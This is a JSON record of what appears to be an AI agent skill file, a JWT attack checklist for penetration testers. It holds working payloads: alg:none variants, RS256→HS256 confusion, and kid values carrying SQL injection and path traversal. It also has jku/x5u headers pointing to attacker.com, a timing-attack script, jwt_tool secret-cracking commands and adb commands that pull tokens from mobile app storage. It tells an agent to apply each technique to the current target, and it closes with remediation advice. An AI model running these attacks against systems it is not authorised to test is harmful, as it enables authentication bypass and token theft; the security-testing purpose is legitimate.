{"id":"offensive-jwt","name":"offensive-jwt","summary":"ペネトレーションテスター向けのJWT攻撃手法。アルゴリズムの混乱(alg:none、RS256→HS256)、弱いHMAC秘密総当法、kidパラメータ注入(SQLi、パストラバーサル)、jku/x5u/jwkヘッダー注入、JWKSキャッシュポイズニング、JWS/JWE混同、タイミング攻撃、モバイルJWTストレージ抽出…","body":"## Overview\n\nComprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.\n\n## Quick Reference: Misconfigurations to Check\n\n- Algorithm set to `none` — signature verification bypassed entirely\n- Algorithm switching between `RSA` and `HMAC` (confusion attack)\n- Weak or guessable HMAC secret (brute-forceable)\n- `kid`, `jku`, `jwk`, `x5u` header parameters accepted without validation\n- Expired or tampered tokens accepted by server\n- Sensitive data stored unencrypted in payload\n\nUseful tool: [JWT Tool](https://github.com/ticarpi/jwt_tool)\n\n## Mechanisms\n\nJWTs (RFC 7519) consist of three Base64URL-encoded parts: `header.payload.signature`.\n\n**Signing algorithms:**\n\n| Algorithm | Type | Notes |\n|-----------|------|-------|\n| HS256/384/512 | Symmetric HMAC | Shared secret; confusion target |\n| RS256/384/512 | Asymmetric RSA | Public key can be misused as HMAC secret |\n| ES256/384/512 | Asymmetric ECDSA | |\n| PS256/384/512 | RSASSA-PSS | |\n| EdDSA (Ed25519/Ed448) | Asymmetric | |\n| none | Unsigned | Critically insecure |\n\n**Additional pitfalls:**\n- JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected `typ`/`cty`\n- JWKS retrieval: SSRF via `jku`/`x5u`, insecure TLS, poisoned key caching, `kid` collisions\n- Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients\n\n## Hunt: Identifying JWT Usage\n\n1. Check `Authorization: Bearer <token>` headers in all requests\n2. Look for cookies containing JWT structures (`eyJ...`)\n3. Examine browser local/session storage\n4. Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters\n5. Note any `kid`, `jku`, `jwk`, `x5u` fields in the header — these are attack surfaces\n\n## Vulnerability Map\n\n```\nJWT Vulnerabilities\n├── Algorithm Bypass\n│   ├── alg:none attack\n│   └── RS256→HS256 confusion (public key as HMAC secret)\n├── Weak Secret Key → Brute force\n├── kid Parameter Injection\n│   ├── SQL injection via kid\n│   └── Path traversal via kid\n├── Header Injection\n│   ├── jwk (inline fake key)\n│   ├── jku/x5u (remote attacker-controlled JWKS)\n│   └── JWKS cache poisoning\n└── Missing / Broken Validation\n    ├── No signature check\n    ├── Expired tokens accepted\n    └── iss/aud/exp not validated\n```\n\n## Vulnerabilities\n\n### Algorithm Vulnerabilities\n\n- **alg:none** — Some libraries disable signature validation when `alg` is `none` or a case variant (`None`, `NONE`, `nOnE`)\n- **Algorithm Confusion (RS256→HS256)** — Server uses RSA public key as HMAC secret when attacker switches `alg` to HS256; attacker re-signs token with the public key\n- **Key ID (`kid`) Manipulation** — Exploiting `kid` to load wrong keys or inject file paths / SQL; enforce strict lookups\n\n### Signature Vulnerabilities\n\n- **Weak HMAC Secrets** — Brute-forceable with dictionary or hashcat\n- **Missing Signature Validation** — Token accepted without any verification\n- **Broken Validation** — Implementation errors in signature checking logic\n\n### Implementation Issues\n\n- **Missing Claims Validation** — `exp`, `nbf`, `aud`, `iss` not verified\n- **Insufficient Entropy** — Predictable JWT IDs or tokens\n- **No Expiration** — Tokens valid indefinitely\n- **Insecure Transport** — Token sent over HTTP\n- **Debug Leakage** — Detailed error messages expose implementation\n\n### Header Injection Attacks\n\n- **JWK Injection** — Supply a custom attacker-controlled public key via the `jwk` header\n- **JKU Manipulation** — Point `jku` (JWK Set URL) to attacker-controlled JWKS endpoint\n- **x5u Misuse** — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects\n- **JWKS Cache Poisoning** — Force caches to accept attacker keys via `kid` collisions or response header manipulation\n- **`crit` Header Abuse** — Server ignores unknown critical parameters, enabling bypass\n\n### Information Disclosure\n\n- Sensitive data (PII, credentials, session details) stored unencrypted in payload\n- Internal service/backend information leaked via claims\n\n## Additional Attack Vectors\n\n### Mobile App JWT Storage\n\n**Android:**\n- `SharedPreferences`: Check if world-readable; location `/data/data/<package>/shared_prefs/`\n- Keystore extraction: root device or exploit app\n- Backup extraction: `adb backup -f backup.ab <package>` (if `allowBackup=true`)\n- Tools: Frida, objection, MobSF\n\n**iOS:**\n- Keychain: Check `kSecAttrAccessible` — `kSecAttrAccessibleAlways` is insecure\n- iTunes/iCloud backup extraction: unencrypted backups expose Keychain\n- Jailbreak + Keychain-Dumper for full extraction\n- Tools: Frida, objection, idb\n\n**React Native / Hybrid:**\n- `AsyncStorage` stored in plain text (Android SQLite DB, iOS plist); no encryption by default\n\n```bash\n# Android — check SharedPreferences\nadb shell \"run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml\"\n\n# iOS — extract from backup\nidevicebackup2 backup --full /path/to/backup\n# Use plist/sqlite tools to extract JWT\n```\n\n### JWT Confusion Attacks\n\n- **SAML-JWT Confusion** — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path\n- **API Key-JWT Confusion** — Test sending JWT where API key expected and vice versa\n- **Session Cookie-JWT Hybrid** — Test expired JWT with valid session cookie; inject JWT claims into session\n- **OAuth Token Confusion** — Send ID token (JWT) to resource server expecting opaque access token\n\n```bash\n# Try API key where JWT expected\ncurl -H \"Authorization: Bearer <api_key>\" https://api.target/resource\n\n# Try JWT where API key expected\ncurl -H \"X-API-Key: <jwt_token>\" https://api.target/resource\n```\n\n### Timing Attacks on HMAC\n\nNon-constant-time comparison leaks the HMAC secret character by character via response time differences.\n\n```python\nimport requests, time\n\ndef time_request(signature):\n    start = time.perf_counter()\n    r = requests.get('https://target/api',\n                     headers={'Authorization': f'Bearer header.payload.{signature}'})\n    return time.perf_counter() - start\n\n# Brute-force first byte — longer response time indicates correct byte\nfor byte in range(256):\n    sig = bytes([byte]) + b'\\x00' * 31\n    t = time_request(sig.hex())\n```\n\n### JWT in URL Parameters\n\n- Tokens in GET URLs appear in server logs, proxy logs, browser history\n- Leaked via `Referer` header to external sites; CDN/cache logs may persist tokens\n\n```bash\ncurl \"https://api.target/resource?token=eyJ...\"\ncurl \"https://api.target/resource?access_token=eyJ...\"\ncurl \"https://api.target/resource?jwt=eyJ...\"\n```\n\nCheck Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.\n\n## Manual Testing Steps\n\n1. **Decode and Inspect:**\n   ```\n   base64url_decode(header) . base64url_decode(payload) . signature\n   ```\n\n2. **Test `none` Algorithm** (try all case variants):\n   ```\n   {\"alg\":\"none\",\"typ\":\"JWT\"}.payload.\"\"\n   {\"alg\":\"None\",\"typ\":\"JWT\"}.payload.\"\"\n   {\"alg\":\"NONE\",\"typ\":\"JWT\"}.payload.\"\"\n   {\"alg\":\"nOnE\",\"typ\":\"JWT\"}.payload.\"\"\n   ```\n\n3. **Algorithm Confusion (RS256→HS256):**\n   ```\n   # Re-sign with RSA public key used as HMAC secret\n   {\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"expected-key\"}.payload.<re-signed-with-public-key-as-secret>\n   ```\n\n4. **kid Parameter Attacks:**\n   ```\n   {\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"../../../../dev/null\"}\n   {\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"file:///dev/null\"}\n   {\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"' OR 1=1 --\"}\n   ```\n\n5. **JWK/JKU Injection:**\n   ```\n   {\"alg\":\"RS256\",\"typ\":\"JWT\",\"jwk\":{\"kty\":\"RSA\",\"e\":\"AQAB\",\"kid\":\"attacker-key\",\"n\":\"...\"}}\n   {\"alg\":\"RS256\",\"typ\":\"JWT\",\"jku\":\"https://attacker.com/jwks.json\"}\n   ```\n\n6. **x5u / crit Handling:**\n   ```\n   {\"alg\":\"RS256\",\"typ\":\"JWT\",\"x5u\":\"https://attacker.com/cert.pem\"}\n   {\"alg\":\"RS256\",\"typ\":\"JWT\",\"crit\":[\"exp\"],\"exp\":null}\n   ```\n\n7. **Brute Force HMAC Secret:**\n   ```bash\n   python3 jwt_tool.py <token> -C -d wordlist.txt\n   ```\n\n8. **Test Missing Claim Validation:**\n   - Remove or modify `exp` (expiration)\n   - Change `iss` (issuer) or `aud` (audience)\n   - Modify `iat` (issued at) or `nbf` (not before)\n\n## Automated Testing with JWT_Tool\n\n```bash\n# Basic token inspection\npython3 jwt_tool.py <token>\n\n# Full vulnerability scan\npython3 jwt_tool.py <token> -M all\n\n# Targeted attacks\npython3 jwt_tool.py <token> -X a     # Algorithm confusion\npython3 jwt_tool.py <token> -X n     # Null/none signature\npython3 jwt_tool.py <token> -X i     # Identity theft\npython3 jwt_tool.py <token> -X k     # Key confusion\n\n# Crack HMAC secret\npython3 jwt_tool.py <token> -C -d wordlist.txt\n```\n\n**Other tools:**\n- JWT.io — basic token inspection and debugging\n- Burp Suite JWT Scanner / JWT Editor extension — automated testing and token editing\n- jwtXploiter — advanced JWT vulnerability scanning\n- c-jwt-cracker — high-speed HMAC brute force (C implementation)\n- Frida, objection, MobSF — mobile JWT extraction\n\n## Remediation Recommendations\n\n- Use short-lived access tokens; rotate refresh tokens frequently\n- Always validate `aud` (audience) and `iss` (issuer) claims\n- Disable `none` algorithm; prevent algorithm downgrades; pin `alg` per client/issuer\n- Ensure key material loaded for verification matches `alg`; reject mismatches\n- Reject tokens with unknown `crit` header parameters\n- Validate JWKS over pinned TLS; disallow remote `jku`/`x5u` except trusted domains; short-TTL key caching with `kid` uniqueness\n- Enforce maximum token length; disable JWE compression unless required\n- Maintain server-side deny-list keyed by `jti` for early revocation\n- For DPoP tokens (`typ:\"dpop+jwt\"`): verify proof binds to HTTP request; enforce one-time nonce use\n- Bind sessions to device when possible; rotate refresh tokens on every use\n- Prefer `SameSite=Lax/Strict` HttpOnly cookies for web; avoid localStorage for access tokens\n\n## Alternatives & Modern Mitigations\n\n- **PASETO** — removes algorithm negotiation entirely; eliminates confusion attacks\n- **Macaroons** — bearer tokens with attenuable, caveat-based delegation\n- **DPoP and mTLS** — bind tokens to the client to prevent replay","author":"@SnailSploit","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/SnailSploit/Claude-Red/tree/main/Skills/auth/offensive-jwt","license":"MIT","category":"security","lang":"en","tokens":2641,"stars":0,"calls30d":2,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["api.target","attacker.com"]}}